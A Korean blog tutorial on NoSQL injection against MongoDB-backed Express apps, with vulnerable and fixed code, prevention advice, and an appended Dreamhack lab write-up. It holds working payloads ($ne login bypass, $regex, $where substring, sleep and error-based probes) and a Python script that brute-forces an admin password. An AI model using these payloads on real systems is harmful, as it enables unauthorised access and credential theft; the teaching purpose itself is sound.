본문 바로가기
컴퓨터보안/웹서버

NoSQL Injection

by 데이빗제이2 2024. 5. 20.

NoSQL Injection이란?

NoSQL Injection은 SQL Injection과 비슷한 공격 방법으로, 입력값이 쿼리에 포함되면서 발생하는 문제점입니다. MongoDB의 NoSQL Injection 취약점은 주로 입력값의 타입 검증이 불충분할 때 발생합니다.

MongoDB의 데이터 타입

MongoDB는 다양한 데이터 타입을 지원합니다. 여기에는 문자열, 정수, 날짜, 실수 뿐만 아니라 오브젝트와 배열 타입도 포함됩니다. 오브젝트 타입의 입력값을 처리할 때 쿼리 연산자를 사용할 수 있으며, 이를 악용하여 다양한 행위를 수행할 수 있습니다.

예제 코드 (Figure 1)

const express = require('express');
const app = express();

app.get('/', function(req, res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});

const server = app.listen(3000, function() {
    console.log('app.listen');
});

이 코드는 Node.js의 Express 프레임워크로 작성된 간단한 웹 서버입니다. 클라이언트로부터 GET 요청을 받으면 req.query.data의 값을 출력하고, 그 타입을 출력합니다.

취약점 분석

이 코드에서 중요한 점은 req.query.data의 타입이 문자열로 제한되지 않는다는 점입니다. 따라서 클라이언트는 문자열 외에도 배열이나 오브젝트 타입의 데이터를 입력할 수 있습니다. 이는 NoSQL Injection 공격에 취약할 수 있습니다.

입력값에 따른 실행 결과 (Figure 2)

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ] 
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true } 
type: object

http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' } 
type: object

http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' } 
type: object

보안 문제점

이러한 코드 구조에서는 다음과 같은 보안 문제점이 발생할 수 있습니다:

  • NoSQL Injection: 클라이언트가 의도적으로 오브젝트 타입의 입력값을 전달하여, 데이터베이스 쿼리 구조를 변경하거나 의도하지 않은 데이터를 조회, 삽입, 업데이트 또는 삭제할 수 있습니다.
  • 타입 혼합: 입력값의 타입이 문자열, 배열, 오브젝트 등으로 혼합될 수 있어, 의도하지 않은 동작을 유발할 수 있습니다.

예방 방법

다음과 같은 방법으로 NoSQL Injection 공격을 예방할 수 있습니다:

  • 입력값 검증: 클라이언트로부터 받은 모든 입력값의 타입과 형식을 엄격하게 검증해야 합니다. 예를 들어, 문자열이 예상되는 경우, 문자열 이외의 타입을 거부합니다.
  • ORM/ODM 사용: Mongoose와 같은 ODM(Object Data Modeling) 라이브러리를 사용하여, 입력값을 구조화된 모델로 변환하고 검증합니다.
  • Whitelist 적용: 쿼리에서 사용할 수 있는 값들을 미리 정의된 목록(whitelist)으로 제한합니다.
  • 보안 모듈 사용: Express Validator와 같은 입력값 검증 모듈을 사용하여, 입력값을 검증하고, 불필요한 데이터를 제거합니다.

예제 수정

입력값을 검증하는 간단한 방법을 추가한 예제입니다:

const express = require('express');
const app = express();

app.get('/', function(req, res) {
    let data = req.query.data;
    
    // 입력값이 문자열인지 확인
    if (typeof data !== 'string') {
        res.status(400).send('Invalid data type');
        return;
    }

    console.log('data:', data);
    console.log('type:', typeof data);
    res.send('hello world');
});

const server = app.listen(3000, function() {
    console.log('app.listen');
});

이 수정된 코드에서는 req.query.data가 문자열인지 확인하고, 문자열이 아닌 경우 에러를 반환합니다. 이를 통해 NoSQL Injection 공격을 방지할 수 있습니다.

 

 

 

NoSQL Injection 예제-2 (Figure 3)

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });

app.get('/query', function(req, res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
    });
});

const server = app.listen(3000, function() {
    console.log('app.listen');
});

이 코드는 MongoDB와 Express를 사용하여 사용자 입력값을 통해 데이터를 조회하는 간단한 웹 서버 예제입니다. GET 요청을 받으면 req.query.uidreq.query.upw 값을 이용하여 MongoDB의 user 컬렉션에서 해당하는 데이터를 조회합니다.

NoSQL Injection 수행

오브젝트 타입의 값을 입력할 수 있다면, 쿼리 연산자를 사용할 수 있습니다. 예를 들어, $ne 연산자는 "not equal"을 의미하며, 입력한 데이터와 일치하지 않는 데이터를 반환합니다. 이를 통해 공격자는 계정 정보를 모르더라도 데이터를 조회할 수 있습니다.

공격 쿼리와 실행 결과 (Figure 4)

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

이 쿼리를 통해 uidupw가 "a"가 아닌 모든 데이터를 조회할 수 있습니다. 위의 실행 결과는 데이터베이스에 저장된 admin 계정의 비밀번호를 노출시킵니다.

$ne값이 같지 않은 문서 조회 ex) db.users.find({ age: { $ne: 25 } })

 

NoSQL Injection 실습

다음은 POST 요청을 통해 데이터를 조회하는 예제입니다. 이 예제에서는 입력한 값이 데이터베이스에 존재할 경우 해당 데이터를 출력합니다. 아래 코드를 통해 데이터베이스에 존재하는 "admin" 계정의 비밀번호를 획득해보세요.

모듈 구성 코드 (Figure 5)

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });

app.post('/query', function(req, res) {
    db.collection('user').find({
        'uid': req.body.uid,
        'upw': req.body.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
    });
});

const server = app.listen(80, function() {
    console.log('app.listen');
});

이 코드는 POST 요청을 통해 데이터를 조회하며, req.body.uidreq.body.upw 값을 통해 데이터를 조회합니다. 입력값에 대한 검증이 없기 때문에 동일한 방식으로 NoSQL Injection 공격이 가능합니다.

보안 문제점과 예방 방법

이러한 코드 구조에서는 다음과 같은 보안 문제점이 발생할 수 있습니다:

  • NoSQL Injection: 사용자가 의도적으로 오브젝트 타입의 입력값을 전달하여, 데이터베이스 쿼리 구조를 변경하거나 의도하지 않은 데이터를 조회, 삽입, 업데이트 또는 삭제할 수 있습니다.
  • 타입 혼합: 입력값의 타입이 문자열, 배열, 오브젝트 등으로 혼합될 수 있어, 의도하지 않은 동작을 유발할 수 있습니다.

예방 방법

다음과 같은 방법으로 NoSQL Injection 공격을 예방할 수 있습니다:

  • 입력값 검증: 클라이언트로부터 받은 모든 입력값의 타입과 형식을 엄격하게 검증해야 합니다. 예를 들어, 문자열이 예상되는 경우, 문자열 이외의 타입을 거부합니다.
  • ORM/ODM 사용: Mongoose와 같은 ODM(Object Data Modeling) 라이브러리를 사용하여, 입력값을 구조화된 모델로 변환하고 검증합니다.
  • Whitelist 적용: 쿼리에서 사용할 수 있는 값들을 미리 정의된 목록(whitelist)으로 제한합니다.
  • 보안 모듈 사용: Express Validator와 같은 입력값 검증 모듈을 사용하여, 입력값을 검증하고, 불필요한 데이터를 제거합니다.

수정된 예제 코드

입력값을 검증하는 간단한 방법을 추가한 예제입니다:

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });

app.post('/query', function(req, res) {
    let uid = req.body.uid;
    let upw = req.body.upw;

    // 입력값이 문자열인지 확인
    if (typeof uid !== 'string' || typeof upw !== 'string') {
        res.status(400).send('Invalid data type');
        return;
    }

    db.collection('user').find({
        'uid': uid,
        'upw': upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
    });
});

const server = app.listen(80, function() {
    console.log('app.listen');
});

이 수정된 코드에서는 req.body.uidreq.body.upw가 문자열인지 확인하고, 문자열이 아닌 경우 에러를 반환합니다. 이를 통해 NoSQL Injection 공격을 방지할 수 있습니다.

 

 

Blind NoSQL Injection

개요

Blind NoSQL Injection은 인증 우회 이외에도 데이터베이스의 정보를 알아낼 수 있는 공격 기법입니다. 이 기법은 Blind SQL Injection과 같이 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있습니다.

MongoDB에서는 $regex, $where 연산자를 사용해 Blind NoSQL Injection을 할 수 있습니다.

 

Blind Injection의 배경

Blind Injection 공격은 응답이 참(True) 또는 거짓(False) 여부만으로 이루어진 환경에서 수행됩니다. 직접적인 에러 메시지나 데이터베이스의 데이터를 노출하지 않는 보안 설정이 있을 때 사용됩니다. 이러한 상황에서 공격자는 참/거짓 응답을 통해 데이터베이스 정보를 추출할 수 있습니다.

연산자 설명

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex 지정된 정규식과 일치하는 문서를 선택합니다.
$text 지정된 텍스트를 검색합니다.
$where JavaScript 표현식을 만족하는 문서와 일치합니다.

더 많은 연산자는 MongoDB 연산자 공식 문서를 통해 확인할 수 있습니다.

Blind NoSQL Injection

$regex

정규식을 사용해 식과 일치하는 데이터를 조회합니다. 아래는 upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시입니다.

> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

$where

인자로 전달한 JavaScript 표현식을 만족하는 데이터를 조회합니다. 아래 예제는 field에서 사용할 수 없는 것을 확인할 수 있습니다.

> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
    "$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
    "code" : 17287
}

Substring을 이용한 Blind NoSQL Injection

JavaScript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있습니다. 아래는 upw의 첫 글자를 비교해 데이터를 알아내는 쿼리입니다.

> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

Time-based Injection (Sleep 함수 사용)

MongoDB는 sleep 함수를 제공합니다. 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있습니다. 아래는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리입니다.

 

이유
응답 시간 차이: 데이터베이스가 참(True)인 경우에만 지연을 발생시키도록 하여, 응답 시간의 차이를 통해 참/거짓을 판별할 수 있습니다.
비노출 환경: 에러 메시지가 노출되지 않는 경우에도 시간 지연을 통해 정보를 추출할 수 있습니다.

db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/

Error based Injection

Error based Injection은 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킵니다. 아래는 upw의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생하는 예제입니다.

 

이유
직접적인 에러 메시지: 데이터베이스가 에러 메시지를 반환하는 경우, 이 메시지를 통해 데이터베이스의 정보를 추출할 수 있습니다.
빠른 피드백: 에러가 발생했는지 여부를 즉시 알 수 있어, 빠르게 참/거짓을 판별할 수 있습니다.
예시

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
    "$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
    "code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음

 

이 쿼리는 this.upw.substring(0,1)=='g'가 참일 때 asdf로 인해 에러가 발생합니다. 이를 통해 첫 글자가 'g'임을 알 수 있습니다.

결론

Blind NoSQL Injection은 데이터베이스의 정보를 알아내는 강력한 공격 기법입니다. 이러한 공격을 방지하기 위해서는 사용자 입력값을 철저히 검증하고, 쿼리에 포함되는 입력값을 안전하게 처리하는 것이 중요합니다.

 

+ 추가 사항 URL쿼리시 대소문자 구분 필요!

http://host3.dreamhack.games:24035/login?uid[$regex]=^adm&upw[$regex]=^d
undefined
http://host3.dreamhack.games:24035/login?uid[$regex]=^adm&upw[$regex]=^D
admin

 

이렇게 두가지로 애먹음.

그리고 python sql 코드 첨부

 

import requests
import string
# 기본 URL 설정
base_url = "http://host3.dreamhack.games:24035/login"
uid = "adm"
upw_pattern = "D.{"

# 모든 가능한 문자 (여기서는 숫자와 소문자 알파벳을 포함)
charset = string.digits + string.ascii_lowercase
"abcdefghijklmnopqrstuvwxyz0123456789"
max_length = 32  # 최대 길이

# 결과 확인을 위한 함수
def is_valid_prefix(prefix):
    prefix = upw_pattern + prefix
    payload = {
        'uid[$regex]': f'^{uid}',
        'upw[$regex]': f'^{prefix}'
    }
    response = requests.get(base_url, params=payload)
    return "admin" in response.text

# 비밀번호 찾기
def find_password():
    print("find_password")
    password = ""
    for _ in range(max_length):
        print(_)
        for char in charset:
            test_password = password + char
            if is_valid_prefix(test_password):
                password = test_password
                print(f"Found so far: {password}")
                break
    return password

if __name__ == "__main__":
    password = find_password()
    print(f"Password found: {password}")

 

 

'컴퓨터보안 > 웹서버' 카테고리의 다른 글

커맨드 인젝션 (Command Injection)  (0) 2024.05.21
NoSQL Injection 기법 정리(MongoDB)  (0) 2024.05.20
ServerSide: SQL Injection  (0) 2024.05.16
SQL 문법 예시 및 정리  (0) 2024.05.15
데이터베이스 정리  (0) 2024.05.14